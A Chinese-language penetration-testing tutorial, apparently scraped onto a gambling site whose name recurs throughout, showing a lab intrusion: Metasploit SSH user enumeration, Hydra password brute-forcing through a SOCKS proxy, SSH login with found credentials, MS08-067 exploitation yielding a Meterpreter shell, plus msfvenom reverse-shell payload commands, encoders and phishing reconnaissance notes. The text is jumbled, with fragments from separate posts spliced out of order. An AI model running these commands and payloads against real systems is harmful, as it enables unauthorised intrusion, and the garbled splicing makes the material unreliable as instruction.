SSH - User 'super' found [-] 7.7.7.20:22 - SSH - User 'diag' not found [+] 7.7.7.20:22 - SSH - User 'Cisco' found [-] 7.7.7.20:22 - SSH - User 'Manager' not found [+] 7.7.7.20:22 - SSH - User 'DTA' found [-] 7.7.7.20:22 - SSH - User 'apc' not found [+] 7.7.7.20:22 - SSH - User 'User' found [-] 7.7.7.20:22 - SSH - User 'Admin' not found [+] 7.7.7.20:22 - SSH - User 'cablecom' found [-] 7.7.7.20:22 - SSH - User 'adm' not found [+] 7.7.7.20:22 - SSH - User 'wradmin' found [-] 7.7.7.20:22 - SSH - User 'netscreen' not found [+] 7.7.7.20:22 - SSH - User 'sa' found [-] 7.7.7.20:22 - SSH - User 'setup' not found [+] 7.7.7.20:22 - SSH - User 'cmaker' found [-] 7.7.7.20:22 - SSH - User 'enable' not found [+] 7.7.7.20:22 - SSH - User 'MICRO' found [-] 7.7.7.20:22 - SSH - User 'login' not found [*] Caught interrupt from the console... [*] Auxiliary module execution completed ^C msf auxiliary(ssh_enumusers) > 

至于在beacon shell执行的指令都是按照计划任务来的,也就是说被控端会按事先规定好的时间自动去控制端下载各种指令任务依次在目标系统中执行

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

然后用hydra本地用msf模块开启的1080端口的sock4代理尝试爆破:

首先,我们先来简单创建个payload,然后直接把它丢到目标系统中执行,看看实际的上线效果到底是个什么样子,注意,这里带红爪子的是已经拿到系统最高权限的,没爪子的基本都是系统权限暂时还比较低的

Mac Based Shellcode
1
2

root@kali:~# proxychains hydra 7.7.7.20 ssh -s 22 -L /tmp/user.txt -P top100.txt -t 4 ProxyChains-3.1 (http://proxychains.sf.net) Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting  [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] max 4 tasks per 1 server, overall 64 tasks, 20 login tries (l:2/p:10), ~0 tries per task [DATA] attacking service ssh on port 22 |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK<><>-OK<><>-OK<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK [22][ssh] host: 7.7.7.20   login: admin   password: 123456 |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished root@kali:~# 

99696大富豪棋牌 33

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Handlers

发现有可用帐户密码admin:123456,然后再用sock4代理ssh登录:

99696大富豪棋牌 34

payload加编码
命令格式:
1

root@kali:~# proxychains ssh admin@7.7.7.20 ProxyChains-3.1 (http://proxychains.sf.net) |D-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK The authenticity of host '7.7.7.20 (7.7.7.20)' can't be established. ECDSA key fingerprint is SHA256:Rcz2KrPF3BTo16Ng1kET91ycbr9c8vOkZcZ6b4VawMQ. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '7.7.7.20' (ECDSA) to the list of known hosts. admin@7.7.7.20's password:  bvshell:/C/Documents and Settings/All Users$ pwd /C/Documents and Settings/All Users bvshell:/C/Documents and Settings/All Users$ dir 2016-12-24  21:32          <DIR> Application Data 2016-12-25  06:16          <DIR> Desktop 2016-12-24  18:36          <DIR> Documents 2016-12-24  18:37          <DIR> DRM 2016-12-24  21:32          <DIR> Favorites 2016-12-24  18:38          <DIR> Start Menu 2016-12-24  21:32          <DIR> Templates       0 Files                  0 bytes       7 Directories bvshell:/C/Documents and Settings/All Users$ 

99696大富豪棋牌 35

msfvenom -p <payload> <payload options> -a <arch> --platform <platform> -e <encoder option> -i <encoder times> -b <bad-chars> -n <nopsled> -f <format> -o <path>

或者用ms08067:

99696大富豪棋牌 36

常用编码:
1
2

msf > use exploit/windows/smb/ms08_067_netapi  msf exploit(ms08_067_netapi) > show options  Module options (exploit/windows/smb/ms08_067_netapi):    Name     Current Setting  Required  Description    ----     ---------------  --------  -----------    RHOST                     yes       The target address    RPORT    445              yes       The SMB service port    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC) Exploit target:    Id  Name    --  ----   0   Automatic Targeting msf exploit(ms08_067_netapi) > set rhost 7.7.7.20rhost => 7.7.7.20msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > show options  Module options (exploit/windows/smb/ms08_067_netapi):    Name     Current Setting  Required  Description    ----     ---------------  --------  -----------    RHOST    7.7.7.20         yes       The target address    RPORT    445              yes       The SMB service port    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/bind_tcp):    Name      Current Setting  Required  Description    ----      ---------------  --------  -----------    EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)    LPORT     4444             yes       The listen port    RHOST     7.7.7.20         no        The target address Exploit target:    Id  Name    --  ----   0   Automatic Targeting msf exploit(ms08_067_netapi) > run [*] Started bind handler [*] 7.7.7.20:445 - Automatically detecting the target... [*] 7.7.7.20:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown [*] 7.7.7.20:445 - We could not detect the language pack, defaulting to English [*] 7.7.7.20:445 - Selected Target: Windows 2003 SP2 English (NX) [*] 7.7.7.20:445 - Attempting to trigger the vulnerability... [*] Sending stage (957999 bytes) to 7.7.7.20[*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444)  meterpreter > 

0x04 丰富的客户端攻击选项

x86/shikata_ga_nai
cmd/powershell_base64

成功溢出getshell后查看JC(7.7.7.20)网卡信息:

首先,尝试利用 ‘System Profiler’ 模块,搜集目标的各类机器信息,比如,目标用的什么版本的操作系统,什么浏览器,详细版本是多少,有没有装flash,flash具体版本又是多少[低版本可以挂马],看能不能看到目标内网ip段,大概目测估计下目标内网有多大,有了这些基础信息以后,后期我们就可以针对性的写信发信,还是那句话,实际中最好用域名,因为这里是实验所以才直接用的ip,发信时最好用html伪装个比较”到位”的链接,关于写信发信又是另一个比较’专业’的技术点,个人能力有限,这里暂不涉及,嘿嘿……下面就给大家简单的看下实际的效果

例子:
1

meterpreter > ipconfigInterface  1============Name         : MS TCP Loopback interfaceHardware MAC : 00:00:00:00:00:00MTU          : 1520IPv4 Address : 127.0.0.1Interface 65539============Name         : Intel(R) PRO/1000 MT Desktop AdapterHardware MAC : 08:00:27:29:cd:cbMTU          : 1500IPv4 Address : 8.8.8.3IPv4 Netmask : 255.255.255.0Interface 65540============Name         : Intel(R) PRO/1000 MT Desktop Adapter #2Hardware MAC : 08:00:27:e3:47:43MTU          : 1500IPv4 Address : 7.7.7.20IPv4 Netmask : 255.255.255.0meterpreter > 

本文由99696大富豪棋牌发布于最新资讯,转载请注明出处:4)SK有一块网卡,非常适合团队间协同作战

关键词: